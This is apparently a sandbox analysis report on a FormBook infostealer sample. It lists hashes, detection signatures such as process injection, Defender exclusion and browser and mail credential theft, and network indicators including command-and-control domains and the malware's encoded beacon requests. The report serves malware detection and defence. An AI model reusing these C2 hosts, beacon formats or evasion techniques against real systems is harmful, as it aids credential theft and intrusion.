Windows Analysis Report
8SxJ9aYfJ1.exe

Overview

General Information

Sample name: 8SxJ9aYfJ1.exe
renamed because original name is a hash value
Original sample name: e8b4997fd647c6236e8d6a5460724cee.exe
Analysis ID: 1483390
MD5: e8b4997fd647c6236e8d6a5460724cee
SHA1: bbd63e69c618074ff73b861b1cc19d349ddefa16
SHA256: dc46b790c20e5077fc05879616e9d87acfdec0b4d2e2d9e82e5ce666487fdfaf
Tags: 32exetrojan
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe ReversingLabs: Detection: 95%
Multi AV Scanner detection for submitted file
Source: 8SxJ9aYfJ1.exe ReversingLabs: Detection: 95%
Source: 8SxJ9aYfJ1.exe Virustotal: Detection: 43% Perma Link
Yara detected FormBook
Source: Yara match File source: 10.2.8SxJ9aYfJ1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.8SxJ9aYfJ1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2392518879.00000000014F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2641212802.0000000000EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.4528036238.0000000003030000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2391710518.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.4532261432.0000000005200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.4526845304.0000000000DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.4523991342.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.4529774873.0000000002EA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2569786862.00000000014A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.4529392421.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2393885514.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: 8SxJ9aYfJ1.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: 8SxJ9aYfJ1.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 8SxJ9aYfJ1.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: findstr.pdbGCTL source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392198546.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, TwkYThKVQVaYn.exe, 0000000F.00000002.2567891581.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4527947703.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000002.4528354654.0000000001238000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sbJGUdSMCgtLQJ.exe, 00000011.00000002.4523958138.000000000016E000.00000002.00000001.01000000.0000000D.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000002.4524029986.000000000016E000.00000002.00000001.01000000.0000000D.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4523960013.000000000016E000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392690731.0000000001600000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.00000000036AE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2392246539.00000000031B5000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2398513253.0000000003362000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.0000000003510000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2574871339.000000000376D000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2568189800.00000000035B3000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003920000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: findstr.pdb source: 8SxJ9aYfJ1.exe, 0000000A.00000002.2392198546.00000000011A8000.00000004.00000020.00020000.00000000.sdmp, TwkYThKVQVaYn.exe, 0000000F.00000002.2567891581.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000011.00000002.4527947703.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000013.00000002.4528354654.0000000001238000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: 8SxJ9aYfJ1.exe, 8SxJ9aYfJ1.exe, 0000000A.00000002.2392690731.0000000001600000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.00000000036AE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2392246539.00000000031B5000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000003.2398513253.0000000003362000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4530621249.0000000003510000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2574871339.000000000376D000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003ABE000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000015.00000003.2568189800.00000000035B3000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000015.00000002.2641687151.0000000003920000.00000040.00001000.00020000.00000000.sdmp
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 4x nop then jmp 06A7AFE1h 0_2_06A7B108
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 4x nop then jmp 06A7AFE1h 0_2_06A7B88E
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 4x nop then jmp 06E1A279h 11_2_06E1A3A0
Source: C:\Users\user\AppData\Roaming\TwkYThKVQVaYn.exe Code function: 4x nop then jmp 06E1A279h 11_2_06E1AB26

Networking
barindex
Performs DNS queries to domains with low reputation
Source: DNS query: www.ngkwnq.xyz
Source: DNS query: www.xyz-store.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 203.161.50.128 203.161.50.128
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /tqql/?h20PB=Ilr0H&9Fjx=u0XZF227Y/r9f3hknYKw3A/OKyua8wzaE5MpTM9c21roNqnsj5Gisp9VcwCWuR5N2hVTeUiUKYj3c1cP+6QCcj3wzwE0gmMNT1PJlFHdnkMlbksrXDYRbbL33cvAUMoN8r+Pi3M= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.miquwawa.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /x06k/?9Fjx=T/qtMR3LKa4LTbjyNUJlNW8HBO2mLr7NkQwOkzuXYGM8AEnHwE1BuDDgjz7zxChee1OBLSwV/HnzTXSDWu5qS8SxudlejhZ2wNFZ4/rc81wcJeYkmogq71U2jvAp6KKDndns21g=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.exporationgenius.sbsUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /iczo/?h20PB=Ilr0H&9Fjx=JY7jtaSJ5x5vzidknG2ksTpeyXyaG7X3ywH460gVL7Ewt7sZ57bb2J66wgBGIrGl5fwva+984CsI5kCUEaeHAKxito/MplmCBaK67oIqKDsPwPbc7aid6ru9XlM638WWQIDRvms= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.zocalo-fuk.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /sg27/?9Fjx=cpYt0YSQq6qumPKnLg+mC8LQzbjhCfVjUwEln5zritMpGV/+kM1tERFpp4gfmVNp46bstuO0H+g7H2/quwpl6ls6SEGImodBdGoSGHjCZU2G7An66QSlhEKUMH7zQGocUjr8wdY=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.tcfreal.topUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /f97t/?9Fjx=hkoMjg324npAs1ZCaJ4l6gjuuMVKqirGeTvgOqr4Vk4zrcx6pPdR0EEsFRv2ynLc3LXxE/GYJ+1j0EaBoRiBDqID1A1i8E5oXVGiNZgqPpHIcw0wTETksExpRwNzA/AaAKrSJng=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.noghteyab.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /8y3s/?9Fjx=m+e1HwtEOOeM4G5OXbOM1l1mMhEELbDuBR7SzEsfX5sQt5Y/60pxewufhKo1oWdPn8Rq+iGyekpfb4U1GvT2jbL6nhhjvrxd94xSxVO4NFUPY0kg0texG8HyL5tYcYoZK9KCXOc=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.loangoatworld.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /eswm/?9Fjx=kmg9BJrUCzlvU3B1U8cIsefRuOfVIhtZrQUgpiqKrOwCnwcSpMqzXu0YTkKwwz3EGAI1xXkfDLD4/+xpEkQKl9cp8dUrHPy6DKlu7hiR/LVjeBsCr0gmgApJoLXICQLrB8wEfno=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.forthelement.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /d35k/?9Fjx=mYqJmY5N0EkuGYw55ICE83MYfmiquaD5Mn1sUdQzEPuHiGIXpacTVdBwiKhhqJWGIPtvCRJCv4+YbwE4X6wPqeg8BmvgAMn8RLdfcR/MG4n//pV4lC7duaqjl6kReXVA9zSQFQA=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.ngkwnq.xyzUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /gx7l/?9Fjx=a7hzNdnkeS27kktwRLGSx8yR2sA6hGpGYEa4s+kW8/8nhO4qbMwiGFPThwQr7Jt1vJRCiF4mQ47wrk5EK+BQCUwjbLnD+Licdnqi1ONE6USu+A5nC085uF77bSHLzlvxtDSsS9g=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.hermandadcoyotes.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /8vum/?9Fjx=mMAT0VmYBXrn84GDY3jN9eT5aVT33QlPc8t3UynAD89QghEERF9j2st9BPanxmMeaSIDnLSTLKjuqvUky6NP4LhFqV3UnyKctbAktMQsAL9RdihXFK7EH5ocxuixaBnvMu0t3gQ=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.desakedungpeluk.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /7w90/?h20PB=Ilr0H&9Fjx=LhHpT0ljoQdAbtFlhTdeffbRPZ2ExzZlgOFaGkCDeg3jH9QMg622Z6S/PpXr7Dw5Hrqt15Rk+HZEJRRYk4+G8611O/TYHNVjD8KHzBwMH6yNIySy4kYDr0sQvZqeQkDTLiMYeJ4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.michaelstutorgroup.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /5egn/?9Fjx=LS7e07ng+gHNsyJARIPtuVi+lEkqNBJQ2ublElNdV5gzbr2xH6h/El6SaWwjRr8Uba16H88ExuT+84ut878T3wBrsvgB0imO00p96tUlW1EzL/ongopUwV5X18HPxTdgNiqUy4Q=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.dkimhub.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /ixgj/?9Fjx=/Zj6VqX56ByDodokLRjPKDm3Pwn2S1h1h7pQZ2SgqDdN9OrisfEzogZ++nqPS1/BV9/5rcururFkQ+JMtWq084ODcNTM6ri6BugJHEDlWjTEcfv6bdNq3ciQP3N1zgfhFVTfb+g=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.xyz-store.xyzUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic HTTP traffic detected: GET /pf6m/?9Fjx=bj2jTCh2dAa0W37Ors9MIV8y6VuL4TB52i9XdK5qnE1eDYGuKlwknV9AdIGtnY1bTK6+aXD2gMPFTRYJsf/RVFQwT4yLxuuIQKRkes7NkFHq0brUctiaXa3KGHH0n3cgm+LnNOk=&h20PB=Ilr0H HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeHost: www.artistcalculator.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Source: global traffic DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: www.miquwawa.com
Source: global traffic DNS traffic detected: DNS query: www.exporationgenius.sbs
Source: global traffic DNS traffic detected: DNS query: www.zocalo-fuk.com
Source: global traffic DNS traffic detected: DNS query: www.tcfreal.top
Source: global traffic DNS traffic detected: DNS query: www.noghteyab.com
Source: global traffic DNS traffic detected: DNS query: www.loangoatworld.com
Source: global traffic DNS traffic detected: DNS query: www.forthelement.com
Source: global traffic DNS traffic detected: DNS query: www.ngkwnq.xyz
Source: global traffic DNS traffic detected: DNS query: www.hermandadcoyotes.com
Source: global traffic DNS traffic detected: DNS query: www.desakedungpeluk.com
Source: global traffic DNS traffic detected: DNS query: www.michaelstutorgroup.com
Source: global traffic DNS traffic detected: DNS query: www.dkimhub.com
Source: global traffic DNS traffic detected: DNS query: www.xyz-store.xyz
Source: global traffic DNS traffic detected: DNS query: www.artistcalculator.com
Source: unknown HTTP traffic detected: POST /x06k/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Content-Type: application/x-www-form-urlencodedContent-Length: 209Cache-Control: no-cacheConnection: closeHost: www.exporationgenius.sbsOrigin: http://www.exporationgenius.sbsReferer: http://www.exporationgenius.sbs/x06k/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0Data Raw: 39 46 6a 78 3d 65 39 43 4e 50 6d 4c 78 45 4c 4d 45 54 5a 48 30 47 54 74 57 5a 32 39 6f 64 38 72 64 4f 62 48 4f 76 68 51 33 76 30 66 72 4f 53 34 42 47 68 62 49 2f 43 31 52 67 6c 62 43 74 68 54 6e 38 52 49 57 5a 32 4b 74 4b 58 78 44 34 31 4b 78 4b 54 75 53 42 4d 6c 72 58 59 32 75 6e 50 5a 62 70 6d 41 32 35 50 35 47 38 6f 4c 4d 77 33 6b 63 4d 72 30 69 2f 72 6b 6e 34 58 6c 6d 36 75 4d 73 31 39 4b 61 30 6f 2f 35 79 68 33 38 58 6f 6a 73 42 63 57 61 70 51 79 64 66 77 31 70 61 38 4b 50 38 68 32 35 34 62 73 43 59 74 32 44 68 4f 55 61 62 2f 6b 74 4c 64 72 34 61 44 50 37 45 7a 53 6e 48 69 4e 53 4b 6c 53 57 51 76 45 77 70 2b 71 72 Data Ascii: 9Fjx=e9CNPmLxELMETZH0GTtWZ29od8rdObHOvhQ3v0frOS4BGhbI/C1RglbCthTn8RIWZ2KtKXxD41KxKTuSBMlrXY2unPZbpmA25P5G8oLMw3kcMr0i/rkn4Xlm6uMs19Ka0o/5yh38XojsBcWapQydfw1pa8KP8h254bsCYt2DhOUab/ktLdr4aDP7EzSnHiNSKlSWQvEwp+qr
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:06 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TTnc5Xlhr8DoGpFhPEbE8Cq7bhrEbc5hZdJtsaiKJk1Tx7fP2%2FNmdF9wpewMjEE%2BmXFz1byR6xvdGfmu4WYMxQQ017Yt4oZfQvWz43dmXeAFnVV7%2F8IGHTYZnFMtMI%2Fr74auUWNSLsahf68%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a9a7109aba5727a-EWRContent-Encoding: gzipalt-svc: h2=":443"; ma=60Data Raw: 62 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8e cb 0e 82 30 14 44 f7 fd 8a 2b 7b b9 60 88 ab 9b 2e e4 11 49 10 89 29 0b 97 9a d6 94 88 14 69 f1 f1 f7 06 d8 b8 9d 39 73 32 b4 4a 8e b1 38 57 29 ec c5 a1 80 aa de 15 79 0c de 1a 31 4f 45 86 98 88 64 69 36 7e 80 98 96 1e 67 a4 dd a3 e5 a4 d5 45 72 46 ae 71 ad e2 51 10 41 69 1c 64 66 ec 24 e1 12 32 c2 19 a2 ab 91 df 69 17 f2 3f 46 87 9c 51 cf 85 56 30 a8 e7 a8 ac 53 12 ea 53 01 f8 09 b6 77 84 f7 c5 42 67 1c dc 26 1c 4c 07 4e 37 16 ac 1a 5e 6a f0 09 fb 49 3f 8b 09 e7 43 3f 00 00 00 ff ff e3 02 00 82 ac 65 79 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: baL0D+{`.I)i9s2J8W)y1OEdi6~gErFqQAidf$2i?FQV0SSwBg&LN7^jI?C?ey0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:09 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=99PBLuOdq8VqU9PYz3BINCw3QQreUE9v26mkcl8Or%2B4%2F93nB%2FNWQKBskKnuhb16UTR2CpviJ2%2BfxxP16%2Fw%2Fwj58hG%2BajWLVePp1N%2BdkvB%2BO1gX4kyCAH21wQUFQwv8M970wM0IJKKeIDl70%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a9a7119beedc337-EWRContent-Encoding: gzipalt-svc: h2=":443"; ma=60Data Raw: 62 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8e cb 0e 82 30 14 44 f7 fd 8a 2b 7b b9 60 88 ab 9b 2e e4 11 49 10 89 29 0b 97 9a d6 94 88 14 69 f1 f1 f7 06 d8 b8 9d 39 73 32 b4 4a 8e b1 38 57 29 ec c5 a1 80 aa de 15 79 0c de 1a 31 4f 45 86 98 88 64 69 36 7e 80 98 96 1e 67 a4 dd a3 e5 a4 d5 45 72 46 ae 71 ad e2 51 10 41 69 1c 64 66 ec 24 e1 12 32 c2 19 a2 ab 91 df 69 17 f2 3f 46 87 9c 51 cf 85 56 30 a8 e7 a8 ac 53 12 ea 53 01 f8 09 b6 77 84 f7 c5 42 67 1c dc 26 1c 4c 07 4e 37 16 ac 1a 5e 6a f0 09 fb 49 3f 8b 09 e7 43 3f 00 00 00 ff ff e3 02 00 82 ac 65 79 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: baL0D+{`.I)i9s2J8W)y1OEdi6~gErFqQAidf$2i?FQV0SSwBg&LN7^jI?C?ey0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:11 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4v7V%2BJzgNUiKtCRsBpPzoG0T6kPVeKCmm27zK41h9Pbp45v1DAFco4vzHFPKU3w%2B3Ebe83N6N6xr38OCqDQcMFB4TWJJ1GPmQ8pmKr6NFYHwXvYPmqtuFqO%2FNPB0SyW6wFz6GUqtTzX2oo0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a9a7129b91ec47a-EWRContent-Encoding: gzipalt-svc: h2=":443"; ma=60Data Raw: 61 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8e cb 0e 82 30 14 44 f7 fd 8a 2b 7b b9 60 88 ab 9b 2e e4 11 49 10 89 29 0b 97 9a d6 94 88 14 69 f1 f1 f7 06 d8 b8 9d 39 73 32 b4 4a 8e b1 38 57 29 ec c5 a1 80 aa de 15 79 0c de 1a 31 4f 45 86 98 88 64 69 36 7e 80 98 96 1e 67 a4 dd a3 e5 a4 d5 45 72 46 ae 71 ad e2 51 10 41 69 1c 64 66 ec 24 e1 12 32 c2 19 a2 ab 91 df 69 17 f2 3f 46 87 9c 51 cf 85 56 30 a8 e7 a8 ac 53 12 ea 53 01 f8 09 b6 77 84 f7 c5 42 67 1c dc 26 1c 4c 07 4e 37 16 ac 1a 5e 6a f0 09 fb 49 3f 8b 09 e7 43 3f 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 82 ac 65 79 cb 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: afL0D+{`.I)i9s2J8W)y1OEdi6~gErFqQAidf$2i?FQV0SSwBg&LN7^jI?C?bey0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:06:14 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=McxfqgrppB%2BBokbwDB1JgvT25Kb4uEajoVzWQqpop4xf%2F%2F9OoXJE2KFy0hbwEVp7YpDDLQctmsWbLsO3BpfL8BmWAy240bWZyn67IL5oWvoAmUXSOa0JD9J2%2FuG9GSHneL62SozRijcf7a4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a9a713a6b0732d9-EWRalt-svc: h2=":443"; ma=60Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 